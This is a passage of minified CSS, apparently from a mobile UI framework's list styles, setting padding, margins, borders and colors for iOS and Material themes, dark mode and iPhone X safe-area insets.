.item-link .item-title-row,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row{padding-left:0}.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(15px + constant(safe-area-inset-right));margin-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:15px}.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:15px}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title{padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li{padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content{padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after{right:calc(15px + constant(safe-area-inset-right));right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a{padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after{right:calc(15px + const(safe-area-inset-right));right:calc(15px + env(safe-area-inset-right))}}@media (orientation:landscape) and (min-width:768px){.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(15px + constant(safe-area-inset-left));margin-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:15px}}@media (orientation:landscape) and (min-width:768px){.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(15px + constant(safe-area-inset-right));margin-right:calc(15px + env(safe-area-inset-right))}}.ios .theme-dark .list ul,.list.ios .theme-dark ul{background:#1c1c1d}.ios .theme-dark .list ul:before,.list.ios .theme-dark ul:before{background-color:#282829}.ios .theme-dark .list ul:after,.list.ios .theme-dark ul:after{background-color:#282829}.ios .theme-dark .list li li:last-child .item-inner:after,.ios .theme-dark .list li:last-child li .item-inner:after,.list.ios .theme-dark li li:last-child .item-inner:after,.list.ios .theme-dark li:last-child li .item-inner:after{background-color:#282829}.ios .theme-dark .item-divider:before{background-color:#282829}.ios .theme-dark .list-group-title:before{background-color:#282829}.ios .theme-dark .list-button:after{background-color:#282829}.ios .theme-dark .item-inner:after{background-color:#282829}.ios .theme-dark .item-divider,.ios .theme-dark .list-group-title{background-color:#111}.ios .theme-dark .links-list a:after,.ios .theme-dark .simple-list li:after,.links-list.ios .theme-dark a .simple-list li:after,.simple-list.ios .theme-dark li:after{background-color:#282829}.ios .theme-dark .links-list a.active-state,.ios .theme-dark .list .item-link.active-state,.ios .theme-dark .list .list-button.active-state,.links-list.ios .theme-dark a.active-state,.list.ios .theme-dark .item-link.active-state,.list.ios .theme-dark .list-button.active-state{background-color:#363636}.ios .color-theme-red .list-button{color:#ff3b30}.ios .color-theme-green .list-button{color:#4cd964}.ios .color-theme-blue .list-button{color:#007aff}.ios .color-theme-pink .list-button{color:#ff2d55}.ios .color-theme-yellow .list-button{color:#fc0}.ios .color-theme-orange .list-button{color:#ff9500}.ios .color-theme-gray .list-button{color:#8e8e93}.ios .color-theme-white .list-button{color:#fff}.ios .color-theme-black .list-button{color:#000}.ios .links-list a.color-red,.ios .links-list li.color-red a,.ios .list .item-link.color-red,.ios .list .list-button.color-red,.ios .list li.color-red .item-link,.ios .list li.color-red .list-button,.ios .simple-list li.color-red{color:#ff3b30}.ios .links-list a.color-green,.ios .links-list li.color-green a,.ios .list .item-link.color-green,.ios .list .list-button.color-green,.ios .list li.color-green .item-link,.ios .list li.color-green .list-button,.ios .simple-list li.color-green{color:#4cd964}.ios .links-list a.color-blue,.ios .links-list li.color-blue a,.ios .list .item-link.color-blue,.ios .list .list-button.color-blue,.ios .list li.color-blue .item-link,.ios .list li.color-blue .list-button,.ios .simple-list li.color-blue{color:#007aff}.ios .links-list a.color-pink,.ios .links-list li.color-pink a,.ios .list .item-link.color-pink,.ios .list .list-button.color-pink,.ios .list li.color-pink .item-link,.ios .list li.color-pink .list-button,.ios .simple-list li.color-pink{color:#ff2d55}.ios .links-list a.color-yellow,.ios .links-list li.color-yellow a,.ios .list .item-link.color-yellow,.ios .list .list-button.color-yellow,.ios .list li.color-yellow .item-link,.ios .list li.color-yellow .list-button,.ios .simple-list li.color-yellow{color:#fc0}.ios .links-list a.color-orange,.ios .links-list li.color-orange a,.ios .list .item-link.color-orange,.ios .list .list-button.color-orange,.ios .list li.color-orange .item-link,.ios .list li.color-orange .list-button,.ios .simple-list li.color-orange{color:#ff9500}.ios .links-list a.color-gray,.ios .links-list li.color-gray a,.ios .list .item-link.color-gray,.ios .list .list-button.color-gray,.ios .list li.color-gray .item-link,.ios .list li.color-gray .list-button,.ios .simple-list li.color-gray{color:#8e8e93}.ios .links-list a.color-white,.ios .links-list li.color-white a,.ios .list .item-link.color-white,.ios .list .list-button.color-white,.ios .list li.color-white .item-link,.ios .list li.color-white .list-button,.ios .simple-list li.color-white{color:#fff}.ios .links-list a.color-black,.ios .links-list li.color-black a,.ios .list .item-link.color-black,.ios .list .list-button.color-black,.ios .list li.color-black .item-link,.ios .list li.color-black .list-button,.ios .simple-list li.color-black{color:#000}.md .list{margin:32px 0;font-size:16px}.md .list .item-cell{width:100%;min-width:0;margin-right:16px}.md .list .item-cell:first-child{margin-right:0}.md .list ul ul{padding-right:56px}.md .list .item-media{padding-top:8px;min-width:40px}.md .list .item-media i+i,.md .list .item-media i+img{margin-right:8px}.md .list .item-media+.item-inner{margin-right:16px}.md .list .item-inner{min-height:48px;padding-left:16px}.md .list .item-after{color:#757575;font-size:14px;padding-right:8px}.md .list .item-link,.md .list .list-button{color:inherit}.md .list .item-link .item-inner,.md .list .list-button .item-inner{padding-left:42px}.md .list .item-link.active-state,.md .list .list-button.active-state{background-color:rgba(0,0,0,.1)}.md .list .list-button{padding:0 16px;font-size:16px;line-height:48px}.md .list .item-content{min-height:48px;padding-right:16px}.md .list .item-subtitle{font-size:14px}.md .list .item-text{font-size:14px;color:#757575;line-height:20px;max-height:40px}.md .list .item-footer,.md .list .item-header{font-weight:400;font-size:12px;line-height:1.2;white-space:normal}.md .list .item-footer{color:rgba(0,0,0,.5)}.md .list .item-link.no-chevron .item-inner,.md .list .no-chevron .item-link .item-inner,.md .list.no-chevron .item-link .item-inner,.md .no-chevron .list .item-link .item-inner{padding-left:16px}.md .simple-list li:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .simple-list li:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .simple-list li:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .simple-list li{padding-left:16px;padding-right:16px;line-height:48px;height:48px}.md .simple-list li:after{width:auto;left:0;right:16px}.md .links-list a:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .links-list a:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .links-list a:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .links-list a{height:48px;color:inherit}.md .links-list a.active-state{background-color:rgba(0,0,0,.1)}.md .links-list a:after{width:auto}.md .links-list a{padding-right:16px;padding-left:42px}.md .links-list a:after{right:16px;left:0}.md .links-list .no-chevron a,.md .links-list a.no-chevron,.md .links-list.no-chevron a,.md .no-chevron .links-list a{padding-left:16px}.md .media-list .item-inner,.md li.media-item .item-inner{padding-top:14px;padding-bottom:14px}.md .media-list .item-link .item-inner,.md li.media-item .item-link .item-inner{padding-left:16px}.md .media-list .item-link .item-title-row,.md li.media-item .item-link .item-title-row{padding-left:26px}.md .media-list .item-media,.md li.media-item .item-media{padding-top:14px;padding-bottom:14px}.md .media-list .chevron-center .item-link .item-inner,.md .media-list .item-link.chevron-center .item-inner,.md .media-list.chevron-center .item-link .item-inner,.md li.media-item .chevron-center .item-link .item-inner,.md li.media-item .item-link.chevron-center .item-inner,.md li.media-item.chevron-center .item-link .item-inner{padding-left:42px}.md .media-list .chevron-center .item-title-row,.md .media-list .no-chevron .item-link .item-title-row,.md .media-list.chevron-center .item-title-row,.md .media-list.no-chevron .item-link .item-title-row,.md .no-chevron .media-list .item-link .item-title-row,.md .no-chevron li.media-item .item-link .item-title-row,.md li.media-item .chevron-center .item-title-row,.md li.media-item.chevron-center .item-title-row,.md li.media-item.no-chevron .item-link .item-title-row{padding-left:0!important}.md .links-list a,.md .list .item-link .item-inner{background-position:16px center}.md .item-divider,.md .list-group-title{padding:0 16px;background:#f4f4f4;color:rgba(0,0,0,.54);height:48px;line-height:48px;-webkit-box-sizing:border-box;box-sizing:border-box;font-size:14px}.md .item-divider:before,.md .list-group-title:before{display:none!important}.md .item-divider:after,.md .list-group-title:after{display:none!important}.md .list-group-title{margin-top:0}.md .list .item-inner:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .list .item-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .list .item-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .list ul:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .list ul:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .list ul:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .list ul:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .list ul:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .list ul:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .list.inset{margin-left:16px;margin-right:16px;border-radius:4px}.md .list.inset ul{border-radius:4px}.md .list.inset li:first-child>a{border-radius:4px 4px 0 0}.md .list.inset li:last-child>a{border-radius:0 0 4px 4px}.md .list.inset li:first-child:last-child>a{border-radius:4px}@media (min-width:768px){.md .list.tablet-inset{margin-left:16px;margin-right:16px;border-radius:4px}.md .list.tablet-inset li:first-child>a{border-radius:4px 4px 0 0}.md .list.tablet-inset li:last-child>a{border-radius:0 0 4px 4px}.md .list.tablet-inset li:first-child:last-child>a{border-radius:4px}}.md li li:last-child .item-inner:after,.md li:last-child li .item-inner:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}html.device-pixel-ratio-2 .md li li:last-child .item-inner:after,html.device-pixel-ratio-2 .md li:last-child li .item-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .md li li:last-child .item-inner:after,html.device-pixel-ratio-3 .md li:last-child li .item-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(16px + constant(safe-area-inset-left));margin-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:15px}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a{background-position:calc(16px + constant(safe-area-inset-left)) center;background-position:calc(16px + env(safe-area-inset-left)) center}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner{padding-left:calc(42px + constant(safe-area-inset-left));padding-left:calc(42px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a{padding-left:calc(42px + constant(safe-area-inset-left));padding-left:calc(42px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x 